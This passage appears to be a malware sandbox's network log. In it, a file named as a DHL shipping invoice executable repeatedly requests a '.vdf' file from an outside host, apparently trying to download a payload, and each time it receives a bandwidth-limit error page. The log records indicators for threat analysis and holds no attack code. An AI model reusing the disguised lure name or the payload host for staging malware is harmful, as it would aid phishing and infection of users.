69	192.168.2.4	57012	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:15 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:16 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:15 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:16 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	57013	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:17 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:17 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	57014	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:18 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:19 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:18 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:19 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	57015	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:20 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:20 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:20 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:20 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	57017	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:22 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	57018	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:23 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:23 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:23 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:23 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	57019	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:25 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	57020	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:26 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:26 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:26 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	57021	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:27 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	57023	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:30 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:30 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:30 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:30 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	57024	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:32 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:31 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:32 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	57025	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:33 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	57026	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:35 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:35 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:35 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	57027	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:36 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:36 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	57029	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:38 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:38 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:38 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	57030	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:40 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:40 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:40 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 